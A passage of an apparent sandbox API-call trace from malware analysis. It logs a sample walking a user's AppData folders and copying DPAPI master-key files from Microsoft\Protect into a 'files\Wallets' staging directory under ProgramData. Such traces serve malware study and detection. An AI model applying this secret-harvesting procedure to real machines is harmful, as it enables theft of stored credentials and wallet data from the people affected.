returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415" [0052.289] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" [0052.289] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\" [0052.289] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="5b8a3202-35dc-4437-b5d7-374f5e872415" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415" [0052.289] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.289] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" [0052.289] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\" [0052.289] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="60b22e29-462b-4858-9592-1724c7ae07dd" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\60b22e29-462b-4858-9592-1724c7ae07dd") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\60b22e29-462b-4858-9592-1724c7ae07dd" [0052.289] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" [0052.289] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\" [0052.289] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="60b22e29-462b-4858-9592-1724c7ae07dd" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\60b22e29-462b-4858-9592-1724c7ae07dd") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\60b22e29-462b-4858-9592-1724c7ae07dd" [0052.289] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.289] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" [0052.289] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\" [0052.289] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="d7746ecf-458e-4e71-8557-8ac80457022a" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\d7746ecf-458e-4e71-8557-8ac80457022a") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\d7746ecf-458e-4e71-8557-8ac80457022a" [0052.289] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" [0052.289] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\" [0052.289] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="d7746ecf-458e-4e71-8557-8ac80457022a" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\d7746ecf-458e-4e71-8557-8ac80457022a") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\d7746ecf-458e-4e71-8557-8ac80457022a" [0052.289] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.289] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" [0052.289] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\" [0052.289] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="Preferred" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\Preferred") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\Preferred" [0052.289] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" [0052.289] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\" [0052.289] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="Preferred" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\Preferred") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\Preferred" [0052.289] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0 [0052.289] FindClose (in: hFindFile=0x58a3c0 | out: hFindFile=0x58a3c0) returned 1 [0052.290] FindNextFileW (in: hFindFile=0x589fc0, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.290] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect" [0052.290] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\" [0052.290] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\", lpString2="SYNCHIST" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST" [0052.290] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect" [0052.290] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\" [0052.290] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\", lpString2="SYNCHIST" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\SYNCHIST") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\SYNCHIST" [0052.290] FindNextFileW (in: hFindFile=0x589fc0, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0 [0052.290] FindClose (in: hFindFile=0x589fc0 | out: hFindFile=0x589fc0) returned 1 [0052.290] FindNextFileW (in: hFindFile=0x58a580, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 1 [0052.290] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" [0052.290] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\" [0052.290] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Publisher" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher" [0052.290] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" [0052.290] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\" [0052.290] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\", lpString2="Publisher" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher" [0052.290] lstrcmpW (lpString1="Publisher", lpString2=".") returned 1 [0052.290] lstrcmpW (lpString1="Publisher", lpString2="..") returned 1 [0052.290] lstrcpyW (in: lpString1=0x19e0f0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher" [0052.290] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher\\*.*" [0052.290] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher\\*.*", lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0x58a040 [0052.290] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher" [0052.290] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher\\" [0052.290] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher\\." [0052.290] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher" [0052.290] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher\\" [0052.290] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher\\." [0052.290] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.290] FindNextFileW (in: hFindFile=0x58a040, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.290] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher" [0052.291] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher\\" [0052.291] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher\\.." [0052.291] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher" [0052.291] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher\\" [0052.291] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher\\.." [0052.291] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.291] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.291] FindNextFileW (in: hFindFile=0x58a040, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0 [0052.291] FindClose (in: hFindFile=0x58a040 | out: hFindFile=0x58a040) returned 1 [0052.291] FindNextFileW (in: hFindFile=0x58a580, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 1 [0052.291] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" [0052.291] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\" [0052.291] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Publisher Building Blocks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks" [0052.291] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" [0052.291] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\" [0052.291] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\", lpString2="Publisher Building Blocks" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher Building Blocks") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher Building Blocks" [0052.291] lstrcmpW (lpString1="Publisher Building Blocks", lpString2=".") returned 1 [0052.291] lstrcmpW (lpString1="Publisher Building Blocks", lpString2="..") returned 1 [0052.291] lstrcpyW (in: lpString1=0x19e0f0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks" [0052.291] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\*.*" [0052.291] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\*.*", lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0x589f40 [0052.291] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks" [0052.291] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\" [0052.291] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\." [0052.291] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher Building Blocks" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher Building Blocks") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher Building Blocks" [0052.291] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher Building Blocks", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher Building Blocks\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher Building Blocks\\" [0052.291] 